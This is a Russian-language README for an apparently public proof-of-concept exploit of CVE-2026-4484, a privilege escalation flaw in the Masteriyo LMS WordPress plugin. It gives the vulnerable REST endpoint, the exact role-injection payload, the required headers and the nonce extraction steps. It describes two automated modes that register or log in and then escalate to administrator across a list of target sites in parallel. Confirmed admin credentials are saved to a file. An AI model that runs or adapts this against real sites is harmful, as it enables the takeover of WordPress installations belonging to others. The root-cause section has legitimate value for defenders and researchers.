CVE-2026-4484

Masteriyo LMS <= 2.1.6 — Отсутствие проверки авторизации: повышение привилегий аутентифицированного пользователя (Student+) до администратора

---

🔴 Обзор уязвимости

CVE-2026-4484 — повышение привилегий аутентифицированного пользователя (Student → Administrator)

Поле	Сведения
ID CVE	CVE-2026-4484
Критичность	ВЫСОКАЯ — оценка CVSS v3.1: 8.8
Вектор	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CNA	Wordfence
Затронутое ПО	Плагин Masteriyo LMS для WordPress
Затронутые версии	Все версии вплоть до 2.1.6 включительно
Тип уязвимости	Повышение привилегий (манипуляция ролями)
Требуется аутентификация	Да — уровень Student или выше
CWE	CWE-269: Improper Privilege Management

Описание:
Плагин Masteriyo LMS для WordPress уязвим к повышению привилегий во всех версиях вплоть до 2.1.6 включительно. Уязвимость берёт начало в функции InstructorsController::prepare_object_for_database, которая не ограничивает должным образом назначение ролей во время REST API-запросов. Аутентифицированный злоумышленник, имеющий доступ уровня Student (или выше), может сформировать особым образом POST-запрос к конечной точке REST API Masteriyo — внедрив "roles": ["administrator"] в тело запроса, — чтобы незаметно повысить свою учётную запись до уровня администратора WordPress, получив полный контроль над сайтом без какого-либо участия администратора.

---

🛠️ Описание инструмента

Это эксплойт Proof-of-Concept (PoC), предназначенный для WordPress-установок, на которых работает уязвимая версия плагина Masteriyo LMS. Инструмент поддерживает два режима атаки:

Режим	Имя	Поток	Сценарий использования
1	Nx_1	Регистрация → Вход → Повышение привилегий → Проверка адм. доступа	Атака с нуля — существующая учётная запись не требуется
2	Nx_2	Вход → Повышение привилегий → Проверка адм. доступа	Есть существующая учётная запись (Student/Instructor)

Схема атаки

[Register / Login as Student]
         ↓
[Fetch Dashboard Context — user_id + nonce]
         ↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
         ↓
[Re-login with fresh session]
         ↓
[Verify /wp-admin access → confirmed Administrator]
         ↓
[Write to Login_admin.txt]

---

📋 Требования

Системные требования

• Python 3.8 или выше
• Linux / Windows / macOS

Python-зависимости

pip install requests urllib3 colorama

Или через файл requirements:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

---

🚀 Установка

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-4484.py

---

⚙️ Использование

Базовый запуск

python3 CVE-2026-4484.py

Инструмент использует интерактивный терминальный интерфейс — все параметры запрашиваются во время выполнения.

---

🗂️ Формат списка целей

Создайте текстовый файл (например, list.txt) с одной целью в строке:

https://target1.com
https://target2.com
http://target3.com/wordpress

---

🟥 Режим 1 — Nx_1 (Регистрация + Вход + Повышение привилегий)

Используйте этот режим, если у вас нет существующей учётной записи на цели. Инструмент автоматически регистрирует новую учётную запись студента, а затем повышает её привилегии.

Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!

Выполняемые автоматически шаги:

1. GET /account/signup/ → извлечение nonce регистрации
2. POST /st/ → регистрация новой учётной записи как Student
3. GET /account/ → извлечение nonce для входа
4. POST /wp-admin/admin-ajax.php → вход через Masteriyo AJAX
5. GET /account/#/dashboard → извлечение current_user_id + nonce
6. POST /wp-json/masteriyo/v1/users/instructors/{id} с телом {"roles":["administrator"]}
7. Повторный вход с новой сессией → проверка доступа к админ-панели
8. Запись подтверждённых целей в Login_admin.txt

---

🟩 Режим 2 — Nx_2 (Вход + Повышение привилегий — существующая учётная запись)

Используйте этот режим, если у вас уже есть действующая учётная запись Student или Instructor на цели.

Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword

Выполняемые автоматически шаги:

1. GET /account/ → извлечение nonce для входа
2. POST /wp-admin/admin-ajax.php → вход через Masteriyo AJAX
3. GET /account/#/dashboard → извлечение current_user_id + nonce
4. POST /wp-json/masteriyo/v1/users/instructors/{id} с телом {"roles":["administrator"]}
5. Повторный вход с новой сессией → проверка доступа к админ-панели
6. Запись подтверждённых целей в Login_admin.txt

---

📁 Выходные файлы

Файл	Описание
Login_admin.txt	Все подтверждённые случаи повышения привилегий до администратора

Формат выходных данных

https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!

Пример вывода терминала

[OK]    https://target.com :: LOGIN OK :: success
[OK]    https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK]    https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK]    https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).

---

🔍 Технические детали

Уязвимая конечная точка

POST /wp-json/masteriyo/v1/users/instructors/{user_id}

Полезная нагрузка эксплойта

{
  "roles": ["administrator"]
}

Требуемые заголовки

Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>

Первопричина

Функция InstructorsController::prepare_object_for_database в Masteriyo LMS обрабатывает параметр roles из тела REST-запроса, не проверяя, обладает ли запрашивающий пользователь возможностями edit_users или promote_users. Любой аутентифицированный пользователь (уровня Student и выше), имеющий доступ к этой конечной точке, может отправить произвольное значение роли — в том числе administrator, — которое затем напрямую сохраняется в таблицу метаданных пользователей WordPress.

---

📡 Контакты и автор